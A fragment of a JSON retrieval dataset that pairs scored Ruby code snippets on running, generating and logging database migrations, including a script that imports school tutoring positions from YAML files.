"text": "def run\n\t\t\tapplied, pending = self.get_partitioned_migrations\n\n\t\t\t# If no target was specified, and there are no pending\n\t\t\t# migrations, return early.\n\t\t\treturn if pending.empty? && self.target.nil?\n\n\t\t\t# If no target was specified, the last one is the target\n\t\t\ttarget = self.target || pending.last.name\n\t\t\tmigrations = nil\n\t\t\tdirection = nil\n\n\t\t\tif target == '0'\n\t\t\t\tdirection = :down\n\t\t\t\tmigrations = applied.reverse\n\n\t\t\telsif tgtidx = pending.find_index {|m| m.name == target }\n\t\t\t\tmigrations = pending[ 0..tgtidx ]\n\t\t\t\tdirection = :up\n\n\t\t\telsif tgtidx = applied.find_index {|m| m.name == target }\n\t\t\t\tmigrations = applied[ tgtidx..-1 ].reverse\n\t\t\t\tdirection = :down\n\n\t\t\telse\n\t\t\t\traise Sequel::Error, \"couldn't find migration %p\"\n\t\t\tend\n\n\t\t\t# Run the selected migrations\n\t\t\tself.db.log_info \"Migrating %d steps %s...\" % [ migrations.length, direction ]\n\t\t\tmigrations.each do |migration|\n\t\t\t\tstart = Time.now\n\t\t\t\tself.db.log_info \"Begin: %s, direction: %s\" %\n\t\t\t\t\t[ migration.description, direction ]\n\n\t\t\t\tself.db.transaction do\n\t\t\t\t\tmigration.apply( self.db, direction )\n\n\t\t\t\t\tmclass = migration.model_class.name\n\t\t\t\t\tif direction == :up\n\t\t\t\t\t\tself.dataset.insert( self.column => migration.name, :model_class => mclass )\n\t\t\t\t\telse\n\t\t\t\t\t\tself.dataset.filter( self.column => migration.name, :model_class => mclass ).delete\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tself.db.log_info \" finished: %s, direction: %s (%0.6fs)\" %\n\t\t\t\t\t[ migration.description, direction, Time.now - start ]\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "96908298e926ce800b20bf72f0775c7b",
"score": "0.64978987",
"text": "def migrate(_key, _options); end",
"title": ""
},
{
"docid": "61e78941a371f023f9b69abdf78897f3",
"score": "0.6453729",
"text": "def before_migrate_record() end",
"title": ""
},
{
"docid": "2969b0191e544973182f54e54c86c622",
"score": "0.6451299",
"text": "def execute_initial_migration\n migration_folders = get_migration_folders\n\n migration_folders.each do |dirname|\n run \"echo #{dirname} | tee -a #{shared_path}/executed_migrations\"\n end\n end",
"title": ""
},
{
"docid": "5e9567e9d596c3f913bf7703d4820539",
"score": "0.6434025",
"text": "def migrate\n self.class.pending_migration_files.each do |file|\n # clear migrations array before loading\n @migrations = nil\n # load last migration for rollback\n load file\n # migration class will be loaded to @migrations\n migration = @migrations.last\n next unless migration\n\n # apply migration if can be rolled UP\n if migration.can_rollup?\n Sequel::Model.db.transaction(savepoint: true) {\n migration.up.apply\n report_with.applied(migration)\n }\n end\n # create log entry in data migrations table\n TradeTariffBackend::DataMigration::LogEntry.log!(file)\n end\n end",
"title": ""
},
{
"docid": "29d3ac2b13efccbd9b3414e98cf9fab7",
"score": "0.64233345",
"text": "def start_migration(org, repositories, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "b604e4f0dba08f2f571ff492532c1ec7",
"score": "0.64144063",
"text": "def migrate\n migration_classes.each do |(version, migration_class)|\n Base.logger.info(\"Reached target version: #{@target_version}\") and break if reached_target_version?(version)\n #next if irrelevant_migration?(version) # this line removed\n\n Base.logger.info \"Migrating to #{migration_class} (#{version})\"\n migration_class.migrate(@direction)\n update_schema_history(version, migration_class.name) # this line added\n set_schema_version(version)\n end\n end",
"title": ""
},
{
"docid": "3da1cd7d53bca61149b5a31dcad37d16",
"score": "0.64038336",
"text": "def apply\n migration.down\n end",
"title": ""
},
{
"docid": "854c164044e9c51ea4b6a3803533f45a",
"score": "0.63922656",
"text": "def migrate!\n DataMapper.auto_migrate!\n end",
"title": ""
},
{
"docid": "9a0a6593e60d2f5f5d205fb02e0795a3",
"score": "0.63702464",
"text": "def run_migrations\n `bin/rake db:migrate`\n end",
"title": ""
},
{
"docid": "bc8ba048441234d174556ae7ea5547cc",
"score": "0.6369428",
"text": "def applying_migrations(options)\n build_migration_bond(options).applying_migrations\n end",
"title": ""
},
{
"docid": "19a9ea918672d73a8581310af6204355",
"score": "0.6358316",
"text": "def run_default_migration\n load File.expand_path('../../../../lib/generators/partisan/templates/migration.rb', __FILE__)\n AddFollowsMigration.new.up\n end",
"title": ""
},
{
"docid": "472b8a7e9ecabd227cd0d7f01bfbbc26",
"score": "0.635528",
"text": "def migrate\n load_migrations\n Migrator.new(sessions).execute and true\n end",
"title": ""
},
{
"docid": "86bde6155655253b4b6aea17e96e88d9",
"score": "0.6346697",
"text": "def migrate(version = nil)\n @logger.fine('Running web migrations...')\n super(File.join(Automation::FRAMEWORK_ROOT, Automation::FET_DIR, 'web/database/migrations'), version)\n end",
"title": ""
},
{
"docid": "8195115c5c47559f29b93126a153e7d9",
"score": "0.6335691",
"text": "def user_migrations(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f0010d2b4537f1127205b60c31e62ad2",
"score": "0.63321424",
"text": "def run(sql)\n super\n @database.execute sql\n end",
"title": ""
},
{
"docid": "f0415d135295568ed1c393c2eb83594e",
"score": "0.6325997",
"text": "def migrate_up!(level = nil)\n migrations.sort.each do |migration|\n if level.nil?\n migration.perform_up()\n else\n migration.perform_up() if migration.position <= level.to_i\n end\n end\n end",
"title": ""
},
{
"docid": "87693abe2c1cd3d4388a65b0d8d10784",
"score": "0.6318015",
"text": "def run_migration!(config)\n return if ENV[\"SKIP_MIGRATION\"]\n\n config.after_initialize do\n begin\n ActiveRecord::Migrator.migrate(Rails.root.join(\"db\", \"migrate\"), nil)\n rescue StandardError => e\n warn \"Error running migration: #{e.message}\"\n end\n end\nend",
"title": ""
},
{
"docid": "77a17ae6f5264cb8928bd95578c7e694",
"score": "0.6315064",
"text": "def migrate(*params); raise('Stub or mock required.') end",
"title": ""
},
{
"docid": "f7fdc1be007f1f93d46212ae9c89ca99",
"score": "0.63118255",
"text": "def change\n # data migration only, dont run on init\n\n end",
"title": ""
},
{
"docid": "37bc34f819a4c47b5a4121df621e38d8",
"score": "0.631039",
"text": "def migrate_online\n return if Sequent.new_version == current_version\n\n ensure_version_correct!\n\n in_view_schema do\n truncate_replay_ids_table!\n\n drop_old_tables(Sequent.new_version)\n executor.execute_online(plan)\n end\n\n replay!(Sequent.configuration.online_replay_persistor_class.new) if plan.projectors.any?\n\n in_view_schema do\n executor.create_indexes_after_execute_online(plan)\n end\n executor.reset_table_names(plan)\n # rubocop:disable Lint/RescueException\n rescue Exception => e\n # rubocop:enable Lint/RescueException\n rollback_migration\n raise e\n end",
"title": ""
},
{
"docid": "bffa2ac11652b210b75bad1b35620218",
"score": "0.63031423",
"text": "def up\n non_empty = 'st_commits IS NOT NULL OR st_diffs IS NOT NULL'\n\n MergeRequestDiff.where(non_empty).each_batch(of: BATCH_SIZE) do |relation, index|\n range = relation.pluck('MIN(id)', 'MAX(id)').first\n\n BackgroundMigrationWorker.perform_in(index * 5.minutes, MIGRATION, range)\n end\n end",
"title": ""
},
{
"docid": "bf59d6d83b2782bd649081d035b9ce8b",
"score": "0.62943953",
"text": "def migration_code_up\n # NOTE: Have to include a block in create_table, due to Rails bug #2221 (up through 2.3.5).\n result = table_exists? ? [] : [\" create_table(:#{table_name}) {}\"] # TODO: Determine if we need :id, :primary_key, or :options.\n result << added_columns.collect do |name|\n \" add_column :#{table_name}, :#{name}, #{migration_options_from_attribute_or_association(name)}\"\n end\n result << changed_columns.collect do |name|\n \" change_column :#{table_name}, :#{name}, #{migration_options_from_attribute_or_association(name)}\"\n end\n result << removed_columns.collect do |name|\n \" remove_column :#{table_name}, :#{name}\"\n end\n result.reject{|x| x.empty?}\n end",
"title": ""
},
{
"docid": "68e07845d6e7c008099f5c08623ccc4f",
"score": "0.6291568",
"text": "def run_migration\n @ran_migration = true\n migration_generator.run_migration\n end",
"title": ""
},
{
"docid": "2dd5cc61d8156674d2220c298c266124",
"score": "0.6291138",
"text": "def run_all\n migrate if run_on_start?\n end",
"title": ""
},
{
"docid": "d08264a99ccdc48103b553bb722e81cf",
"score": "0.62904763",
"text": "def migrate!\n \n raise \"schema_from needs\" if @schema_from.nil?\n raise \"schema_to needs\" if @schema_to.nil?\n \n res = @transformer.begin_transaction(@schema_from, @schema_to) unless @transformer.nil?\n \n @line = 0\n \n ActiveRecord::Base.transaction do \n begin_migration()\n \n # TODO: Make flexible configurable and more input formats\n case @schema_from[:format].to_s.to_sym \n when :XLS\n xls_migrate()\n when :TXT_FIXED\n decoder = ExternalMigration::TextFixed.new(@schema_from)\n decoder.migration = self\n decoder.migrate!\n end\n \n end_migration()\n end\n \n res = @transformer.end_transaction(@schema_from, @schema_to) unless @transformer.nil?\n \n return true\n end",
"title": ""
},
{
"docid": "2708f296ad2e0b6c1b92ffacfc9771db",
"score": "0.62828654",
"text": "def migrate(direction)\n puts \"Will migrate #{direction}\"\n migration_directory = File.expand_path \"../dummy/db/migrate\", __FILE__\n migration_files = Dir[\"#{migration_directory}/[0-9]*_*.rb\"]\n migration_files.each {|migration_file| require migration_file} # require them so we can execute them\n case direction\n when :up\n migration_files.each { |file_name| $1.camelize.constantize.up if file_name =~ /[\\w\\/\\.]*\\/\\d*_(.*)\\.rb$/ }\n when :down\n # Originally: migration_files.sort.reverse.each { |file_name| $1.camelize.constantize.down if file_name =~ /[\\w\\/\\.]*\\/\\d*_(.*)\\.rb$/ }\n # But better to just drop all tables\n ActiveRecord::Base.connection.tables.each do |table_name|\n ActiveRecord::Base.connection.execute(\"DROP TABLE IF EXISTS '#{table_name}'\")\n end\n end\nend",
"title": ""
},
{
"docid": "8c7efea551fbb896db9a56d42a8251cc",
"score": "0.6265891",
"text": "def migrate_rewards(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection)\n source_rewarding_prizes = source_db_connection.exec(\"SELECT * FROM rewarding_prizes\")\n #source_rewarding_badges = source_db_connection.exec(\"SELECT * FROM rewarding_badges\")\n #source_rewarding_levels = source_db_connection.exec(\"SELECT * FROM rewarding_levels\")\n download_count = 0\n\n source_rewarding_prizes_count = source_rewarding_prizes.count\n puts \"rewards: #{source_rewarding_prizes_count} lines to migrate \\nRunning migration...\"\n STDOUT.flush\n\n # POINTS\n #if source_db_tenant == \"disney\"\n # generate_point_reward(destination_db_tenant, source_db_connection, destination_db_connection, \"point\")\n #elsif source_db_tenant == \"violetta\"\n # generate_point_reward(destination_db_tenant, source_db_connection, destination_db_connection, \"violetta-point\")\n #end\n #generate_point_reward(destination_db_tenant, source_db_connection, destination_db_connection, \"credit\")\n\n rewards_id_map = Hash.new\n cta_rewards_id_map = Hash.new\n\n download_count = migrate_source_reward_lines(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, rewards_id_map, cta_rewards_id_map, source_rewarding_prizes, \"prize\", download_count)\n # ***do not migrate*** migrate_source_reward_lines(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, rewards_id_map, cta_rewards_id_map, source_rewarding_badges, \"badge\")\n # ***do not migrate*** migrate_source_reward_lines(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, rewards_id_map, cta_rewards_id_map, source_rewarding_levels, \"level\")\n\n puts \"#{rewards_id_map.length} lines successfully migrated \\n\"\n write_table_id_mapping_to_file(source_db_tenant, \"rewards\", rewards_id_map)\n\n puts \"#{cta_rewards_id_map.length} cta_rewards successfully created \\n\"\n write_table_id_mapping_to_file(source_db_tenant, \"cta_rewards\", cta_rewards_id_map)\n\n puts \"#{download_count} downloads and download_interactions successfully created \\n********************************************************************************* \\n\\n\"\n\n return rewards_id_map\nend",
"title": ""
},
{
"docid": "1e025efae5f393a31ed36ac32b58bccc",
"score": "0.6265466",
"text": "def create_migration_file; end",
"title": ""
},
{
"docid": "537fb590b329437dac6163c2989167f1",
"score": "0.62605065",
"text": "def migrate desc, &block\n msg desc, 'starting'\n block.call\n\n msg desc, 'completed'\n end",
"title": ""
},
{
"docid": "52efc35ab9042509deba024f93f13098",
"score": "0.624742",
"text": "def migrate(key, options); end",
"title": ""
},
{
"docid": "8abe4a792b2ab704f2f016783e9351cc",
"score": "0.62457716",
"text": "def run(direction, migration_paths, version)\n DataMigrate::MigrationContext.new(migration_paths).run(direction, version)\n end",
"title": ""
},
{
"docid": "b48dd66d0eba609b12364dd64f9dbc15",
"score": "0.6243809",
"text": "def migrate\n return unless check_data.values.all?\n extract_data\n begin\n @combined.save!\n rescue => e\n logger = Logger.new(ERROR_LOG)\n logger.error \"Error migrating: #{@hsreplay_id}\"\n logger.error \"#{e.class.name}: #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "ef099702755c2388ebded368308adcc9",
"score": "0.62315136",
"text": "def after_migration\n\t\t\treturn true\n\t\tend",
"title": ""
},
{
"docid": "85947f239d5e0fe320023eec55f80797",
"score": "0.6222589",
"text": "def migrate\n return unless options.migrate?\n\n rake 'api_sampler:install:migrations'\n rake 'db:migrate SCOPE=api_sampler'\n end",
"title": ""
},
{
"docid": "1f7640be7d78fd5f7c72dcdca2c63cc3",
"score": "0.6218423",
"text": "def run!\n puts \"+-+-+ Schemaless #{self}\"\n add_table! unless exists?\n # Order matter here\n (indexes.change + fields.change).each { |f| f.change!(self) }\n (indexes.remove + fields.remove).each { |f| f.remove!(self) }\n (fields.add + indexes.add).each { |f| f.add!(self) }\n\n model.reset_column_information\n end",
"title": ""
},
{
"docid": "81d43fa1c5981e0cea4d8674c6c6ecef",
"score": "0.6217572",
"text": "def migrate\n self.open_connections\n self.perform_sanity_checks\n\t\n\t# BLOCK: Base, projects and versions\n self.clear_redmine_tables\n self.migrate_projects\n self.migrate_versions\n\t\n\t# BLOCK: Uses\n self.clear_redmine_users\n self.migrate_users\n self.migrate_groups\n self.migrate_members\n self.migrate_member_roles\n self.migrate_groups_users\n\t\n\t# BLOCK: Issues\n self.migrate_categories\n self.migrate_issues\n self.migrate_time_entries\n self.migrate_watchers\n self.migrate_issue_relations\n\t\n\t# BLOCK: Attachments\n self.migrate_attachments\n\t\n\t# End\n self.close_connections\n end",
"title": ""
},
{
"docid": "d6124aecf0a60f3acf1802727b225161",
"score": "0.6197268",
"text": "def create!; migrate!(version: 1); end",
"title": ""
},
{
"docid": "79e63e9d895859a36d200cb70a9bf9fc",
"score": "0.61839443",
"text": "def migrate(klass)\n # Validate\n raise \"Unable to perform migrations, class must be specified!\" unless klass.class == Class\n raise \"Unable to perform migrations for core class!\" if CORE.include?(klass)\n raise \"Class cannot be migrated!\" unless klass.respond_to?(:auto_migrate!)\n # Execute auto migrations for now\n klass.auto_migrate!\n end",
"title": ""
},
{
"docid": "a3cc7a1a9088873986206958a1fc5b6e",
"score": "0.61824965",
"text": "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_atrium_collections.rb\"\n better_migration_template \"create_atrium_search_facets.rb\"\n better_migration_template \"create_atrium_exhibits.rb\"\n better_migration_template \"create_atrium_showcases.rb\"\n better_migration_template \"create_atrium_showcase_items.rb\"\n better_migration_template \"create_atrium_showcase_facet_selections.rb\"\n better_migration_template \"create_atrium_browse_levels.rb\"\n better_migration_template \"create_atrium_descriptions.rb\"\n better_migration_template \"create_atrium_essays.rb\"\n end",
"title": ""
},
{
"docid": "694e918f96e358e40b4841061bbcc691",
"score": "0.61784875",
"text": "def migrate!( node )\n # TODO: implement migrate!\n end",
"title": ""
},
{
"docid": "e4a7403d43441b184656bcfe8d3f46aa",
"score": "0.6176688",
"text": "def start_user_migration(repositories, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "3fce02a37c44e0dd64079286d81039a2",
"score": "0.6175281",
"text": "def generate_migration\n # Re-enabling an item requires it to be created\n if saved_change_to_disabled?\n generate_create_migration\n return\n end\n\n @do_migration = nil\n return if @ran_migration || !allow_migrations\n\n # Force re-parsing of the option configs, to ensure comments are correctly handled\n option_configs(force: true)\n\n # Return if there is nothing to update\n return unless (!config_view_sql && migration_generator.migration_update_table) ||\n (config_view_sql && view_sql_changed?) ||\n (table_comments && (\n migration_generator.table_comment_changes ||\n migration_generator.fields_comments_changes.present?\n )\n ) ||\n reference_views_missing? ||\n saved_change_to_table_name? ||\n (respond_to?(:saved_change_to_foreign_key_name?) && saved_change_to_foreign_key_name?)\n\n mode = 'update'\n gs = migration_generator.generator_script(self.class, mode)\n fn = migration_generator.write_db_migration gs, table_name, migration_generator.migration_version, mode: mode\n @do_migration = fn\n end",
"title": ""
},
{
"docid": "75bb3216e9d4c944e1fea3c1f1450f22",
"score": "0.6175233",
"text": "def run_migration\n find_fixture\n migration_class.new\n end",
"title": ""
},
{
"docid": "d3028b446a985634db2c4d540239a747",
"score": "0.61655945",
"text": "def run\n migrations.zip(version_numbers).each do |m, v|\n timer = Sequel.start_timer\n db.log_info(\"Begin applying migration version #{v}, direction: #{direction}\")\n checked_transaction(m) do\n m.apply(db, direction)\n set_migration_version(up? ? v : v-1)\n end\n db.log_info(\"Finished applying migration version #{v}, direction: #{direction}, took #{sprintf('%0.6f', Sequel.elapsed_seconds_since(timer))} seconds\")\n end\n \n target\n end",
"title": ""
},
{
"docid": "a448d7d3aa0f0acb89a2eaa4ef7d4d1f",
"score": "0.61577713",
"text": "def run_entire_migration(migration)\n unless Rails.env.development? || Rails.env.test?\n raise 'this method is not intended for use in real environments'\n end\n\n run_migration_while(migration, :active)\n end",
"title": ""
},
{
"docid": "d105f4ec8a9e6fdbc9b086ac49d8f959",
"score": "0.6153994",
"text": "def run_migration(loop_start = 0, loop_end = 100)\n PipelinePosition.transaction do\n # set school types\n elementary_school = SchoolType.find(:first,:conditions=>{:name=>\"Elementary School\"})\n elementary_school = elementary_school.nil? ? SchoolType.create(:name=>\"Elementary School\") : elementary_school\n k_through_eight_school = SchoolType.find(:first,:conditions=>{:name=>\"K-8 School\"})\n k_through_eight_school = k_through_eight_school.nil? ? SchoolType.create(:name=>\"K-8 School\") : k_through_eight_school\n middle_school = SchoolType.find(:first,:conditions=>{:name=>\"Middle School\"})\n middle_school = middle_school.nil? ? SchoolType.create(:name=>\"Middle School\") : middle_school\n high_school = SchoolType.find(:first,:conditions=>{:name=>\"High School\"})\n high_school = high_school.nil? ? SchoolType.create(:name=>\"High School\") : high_school\n \n # set grade levels\n grade_level_k_2 = PipelinePositionsGradeLevel.find(:first,:conditions=>{:name=>\"K-2\"})\n grade_level_k_2 = grade_level_k_2.nil? ? PipelinePositionsGradeLevel.create(:name=>\"K-2\") : grade_level_k_2\n grade_level_3_5 = PipelinePositionsGradeLevel.find(:first,:conditions=>{:name=>\"3-5\"})\n grade_level_3_5 = grade_level_3_5.nil? ? PipelinePositionsGradeLevel.create(:name=>\"3-5\") : grade_level_3_5\n grade_level_6_8 = PipelinePositionsGradeLevel.find(:first,:conditions=>{:name=>\"6-8\"})\n grade_level_6_8 = grade_level_6_8.nil? ? PipelinePositionsGradeLevel.create(:name=>\"6-8\") : grade_level_6_8\n grade_level_9_12 = PipelinePositionsGradeLevel.find(:first,:conditions=>{:name=>\"9-12\"})\n grade_level_9_12 = grade_level_9_12.nil? ? PipelinePositionsGradeLevel.create(:name=>\"9-12\") : grade_level_9_12\n \n # set tutoring formats\n one_on_one_tutoring = PipelinePositionsTutoringType.find(:first,:conditions=>{:name=>\"One on one tutoring\"})\n one_on_one_tutoring = one_on_one_tutoring.nil? ? PipelinePositionsTutoringType.create(:name=>\"One on one tutoring\") : one_on_one_tutoring\n small_group_tutoring = PipelinePositionsTutoringType.find(:first,:conditions=>{:name=>\"Small group tutoring\"})\n small_group_tutoring = small_group_tutoring.nil? ? PipelinePositionsTutoringType.create(:name=>\"Small group tutoring\") : small_group_tutoring\n class_aid = PipelinePositionsTutoringType.find(:first,:conditions=>{:name=>\"Class aid\"})\n class_aid = class_aid.nil? ? PipelinePositionsTutoringType.create(:name=>\"Class aid\") : class_aid\n after_school_tutoring = PipelinePositionsTutoringType.find(:first,:conditions=>{:name=>\"After school tutoring\"})\n after_school_tutoring = after_school_tutoring.nil? ? PipelinePositionsTutoringType.create(:name=>\"After school tutoring\") : after_school_tutoring\n \n # get current quarter\n current_quarter = Quarter.current_quarter\n \n # get the pipeline unit record\n unit = Unit.find_by_abbreviation \"pipeline\"\n \n (loop_start..loop_end).each do |i|\n @saved_info = nil\n if File.exist?( \"files/pipeline_files/\"+i.to_s+\".yaml\" )\n\t @saved_info = YAML::load( File.read( \"files/pipeline_files/\"+i.to_s+\".yaml\" ) )\n \n # set the city to seattle if needed\n @saved_info[\"city_value\"] = \"Seattle\" if @saved_info[\"city_value\"] == \"\"\n \n # make subjects array\n subjects = []\n subjects << \"Math\" unless @saved_info[\"math_check\"].nil?\n subjects << \"Science\" unless @saved_info[\"science_check\"].nil?\n subjects << \"Language Arts\" unless @saved_info[\"language_arts_check\"].nil?\n subjects << \"Social Studies\" unless @saved_info[\"social_studies_check\"].nil?\n subjects << \"Art\" unless @saved_info[\"art_check\"].nil?\n subjects << \"History\" unless @saved_info[\"history_check\"].nil?\n subjects << \"English Language Learners\" unless @saved_info[\"ell_check\"].nil?\n subjects << \"Special Education\" unless @saved_info[\"special_ed_check\"].nil?\n unless @saved_info[\"foreign_language_value\"].empty?\n languages = @saved_info[\"foreign_language_value\"].split(/,\\s?/)\n languages.each do |language|\n subjects << language.titleize\n end\n end\n \n # figure out the school type\n school_type = nil\n school_type = @saved_info[\"grade_k_2_check\"].nil? ? school_type : elementary_school\n school_type = @saved_info[\"grade_3_5_check\"].nil? ? school_type : elementary_school\n school_type = @saved_info[\"grade_6_8_check\"].nil? ? school_type : \n school_type.nil? ? middle_school : k_through_eight_school\n school_type = @saved_info[\"grade_9_12_check\"].nil? ? school_type : high_school\n \n name_without_school = @saved_info[\"school_name_value\"].gsub(\"School\",\"\").strip\n name_with_school = name_without_school+\" School\"\n @school = Organization.find(:first,:conditions=>{:name=>name_with_school.strip})\n if @school.nil?\n @school = Organization.find(:first,:conditions=>{:name=>name_without_school})\n end\n @location = nil\n @contact_one = nil\n if @school.nil?\n @school = School.new(:name=>@saved_info[\"school_name_value\"].empty? ? nil : @saved_info[\"school_name_value\"].strip, \n :mailing_line_1=>@saved_info[\"address_value\"].empty? ? nil : @saved_info[\"address_value\"].strip,\n :mailing_city=>@saved_info[\"city_value\"].empty? ? nil : @saved_info[\"city_value\"].strip,\n :mailing_state=>\"Washington\",\n :mailing_zip=>@saved_info[\"zip_value\"].empty? ? nil : @saved_info[\"zip_value\"].strip,\n :main_phone=>@saved_info[\"phone_value\"].empty? ? nil : @saved_info[\"phone_value\"].strip, \n :mission_statement=>@saved_info[\"school_description_value\"].empty? ? nil : @saved_info[\"school_description_value\"],\n :school_type_id=>school_type.id,\n :does_pipeline=>true,\n :target_school=>@saved_info[\"target_school_check\"].nil? ? nil : true)\n @school.save!\n unless @saved_info[\"address_value\"].empty?\n @location = Location.new(:title=>@saved_info[\"school_name_value\"].empty? ? nil : @saved_info[\"school_name_value\"].strip,\n :address_line_1=>@saved_info[\"address_value\"].empty? ? nil : @saved_info[\"address_value\"].strip,\n :address_city=>@saved_info[\"city_value\"].empty? ? nil : @saved_info[\"city_value\"].strip,\n :address_state=>\"Washington\",\n :address_zip=>@saved_info[\"zip_value\"].empty? ? nil : @saved_info[\"zip_value\"].strip,\n :neighborhood=>@saved_info[\"location_value\"].empty? ? nil : @saved_info[\"location_value\"].strip,\n :bus_directions=>@saved_info[\"bus_directions_value\"].empty? ? nil : @saved_info[\"bus_directions_value\"].strip,\n :organization_id=>@school.id)\n @location.save!\n end\n \n unless @saved_info[\"contact_value\"].empty?\n name = @saved_info[\"contact_value\"].split(\" \")\n \n @person = Person.find_or_create_by_best_guess(:firstname=>name[0],\n :lastname=>name[1],\n :phone=>@saved_info[\"contact_phone_value\"].empty? ? nil : @saved_info[\"contact_phone_value\"].strip,\n :email=>@saved_info[\"contact_email_value\"].empty? ? nil : @saved_info[\"contact_email_value\"].strip)\n @contact_one = OrganizationContact.create(:person_id => @person.id,\n :organization_id => @school.id,\n :pipeline_contact => true)\n @contact_one.unit_ids = [unit.id]\n end\n @contact_two = nil\n unless @saved_info[\"contact_two_value\"].empty?\n name = @saved_info[\"contact_two_value\"].split(\" \")\n @person = Person.find_or_create_by_best_guess(:firstname=>name[0],\n :lastname=>name[1],\n :phone=>@saved_info[\"contact_two_phone_value\"].empty? ? nil : @saved_info[\"contact_two_phone_value\"].strip,\n :email=>@saved_info[\"contact_two_email_value\"].empty? ? nil : @saved_info[\"contact_two_email_value\"].strip)\n @contact_two = OrganizationContact.create(:person_id => @person.id,\n :organization_id => @school.id,\n :pipeline_contact => true)\n @contact_two.unit_ids = [unit.id]\n end\n else\n @school.update_attribute(:type,\"School\")\n @school.school_type_id = school_type.id\n @school.save!\n skip_contact = false\n unless @school.contacts.empty?\n @school.contacts.each do |contact|\n if contact.pipeline_contact\n skip_contact = true\n end\n end\n end\n unless skip_contact || @saved_info[\"contact_value\"].empty?\n name = @saved_info[\"contact_value\"].split(\" \")\n\n @person = Person.find_or_create_by_best_guess(:firstname=>name[0],\n :lastname=>name[1],\n :phone=>@saved_info[\"contact_phone_value\"].empty? ? nil : @saved_info[\"contact_phone_value\"].strip,\n :email=>@saved_info[\"contact_email_value\"].empty? ? nil : @saved_info[\"contact_email_value\"].strip)\n @contact_one = OrganizationContact.create(:person_id => @person.id,\n :organization_id => @school.id,\n :pipeline_contact => true)\n end\n @location = nil\n if @school.locations.empty?\n unless @saved_info[\"address_value\"].empty?\n @location = Location.new(:title=>@saved_info[\"school_name_value\"].empty? ? nil : @saved_info[\"school_name_value\"].strip,\n :address_line_1=>@saved_info[\"address_value\"].empty? ? nil : @saved_info[\"address_value\"].strip,\n :address_city=>@saved_info[\"city_value\"].empty? ? nil : @saved_info[\"city_value\"].strip,\n :address_state=>\"WA\",\n :address_zip=>@saved_info[\"zip_value\"].empty? ? nil : @saved_info[\"zip_value\"].strip,\n :neighborhood=>@saved_info[\"location_value\"].empty? ? nil : @saved_info[\"location_value\"].strip,\n :bus_directions=>@saved_info[\"bus_directions_value\"].empty? ? nil : @saved_info[\"bus_directions_value\"].strip,\n :organization_id=>@school.id)\n @location.save!\n end\n else\n @location = @school.locations.first\n end\n \n end\n \n @organization_quarter = OrganizationQuarter.find(:first,:conditions=>{:quarter_id=>current_quarter.id,\n :organization_id=>@school.id,\n :unit_id=>unit.id})\n if @organization_quarter.nil?\n @organization_quarter = OrganizationQuarter.create(:quarter_id=>current_quarter.id,\n :organization_id=>@school.id,\n :unit_id=>unit.id)\n end\n #position_title = @saved_info[\"school_name_value\"]\n position_title = \"\"\n first = true\n last = false\n count = 1\n subjects.each do |subject|\n last = true if count == subjects.size\n list_mod = first ? \" \" : last ? \" and \" : \", \" \n position_title = position_title+list_mod+subject\n first = false\n count += 1\n end\n position_title = position_title+\" Tutor\"\n puts position_title\n @pipeline_position = PipelinePosition.new(:title=>position_title,\n :organization_quarter_id=>@organization_quarter.id,\n :location_id=>@location.nil? ? nil : @location.id,\n :approved=>true,\n :times_are_flexible=>true,\n :supervisor=>@contact_one.nil? ? nil : @contact_one,\n :description=>@saved_info[\"tutoring_opportunities_value\"]+\" \\n\"+\n @saved_info[\"additional_tutoring_opportunities_value\"])\n @pipeline_position.save!\n \n # find and create subjects\n subjects.each do |subject|\n added_subject = PipelinePositionsSubject.find(:first,:conditions=>{:name=>subject})\n added_subject = added_subject.nil? ? PipelinePositionsSubject.create(:name=>subject) : added_subject\n @pipeline_position.subjects << added_subject\n end\n \n # add in grades\n unless @saved_info[\"grade_k_2_check\"].nil?\n @pipeline_position.grade_levels << grade_level_k_2\n end\n unless @saved_info[\"grade_3_5_check\"].nil?\n @pipeline_position.grade_levels << grade_level_3_5\n end\n unless @saved_info[\"grade_6_8_check\"].nil?\n @pipeline_position.grade_levels << grade_level_6_8\n end\n unless @saved_info[\"grade_9_12_check\"].nil?\n @pipeline_position.grade_levels << grade_level_9_12\n end\n \n # add in tutoring type\n unless @saved_info[\"one_on_one_check\"].nil?\n @pipeline_position.tutoring_types << one_on_one_tutoring\n end\n unless @saved_info[\"small_group_check\"].nil?\n @pipeline_position.tutoring_types << small_group_tutoring\n end\n unless @saved_info[\"class_aid_check\"].nil?\n @pipeline_position.tutoring_types << class_aid\n end\n unless @saved_info[\"after_school_check\"].nil?\n @pipeline_position.tutoring_types << after_school_tutoring\n end\n \n # add in times\n # get days\n days_hash = {\"m\"=>:monday,\"t\"=>:tuesday,\"w\"=>:wednesday,\"th\"=>:thursday,\"f\"=>:friday}\n days_array = [\"m\",\"t\",\"w\",\"th\",\"f\"]\n times = @saved_info[\"day_time_needed_value\"].split(/\\n/)\n times.each do |time|\n unless time.empty?\n time_days = []\n days = time.split(\" \")[0].downcase\n days.split(\"&\").each do |day|\n span = day.split(\"-\")\n if span.size == 1\n time_days << days_hash[span[0]]\n else\n first = false\n second = false\n days_array.each do |day_a|\n if day_a == span[0]\n first = true\n end\n if first && !second\n time_days << days_hash[day_a]\n end\n if day_a == span[1]\n second = true\n end\n end\n end\n end\n \n # get times\n hours = time.downcase.scan(/(\\d?\\d):(\\d\\d).*?(\\d?\\d):(\\d\\d).*?(am|pm)/)[0]\n if hours[0].to_i < 6\n hours[0] = (hours[0].to_i + 12).to_s\n end\n if (hours[4] == \"pm\") && (hours[2].to_i != 12)\n hours[2] = (hours[2].to_i + 12).to_s\n end\n \n @pipline_positon_time = ServiceLearningPositionTime.new(:service_learning_position_id=>@pipeline_position.id,\n :start_time=>Time.parse(hours[0]+\":\"+hours[1]),\n :end_time=>Time.parse(hours[2]+\":\"+hours[3]))\n time_days.each do |time_day|\n @pipline_positon_time[time_day] = true\n end\n \n @pipline_positon_time.save\n end\n end\n \n end\n end\n end\n end",
"title": ""
},
{
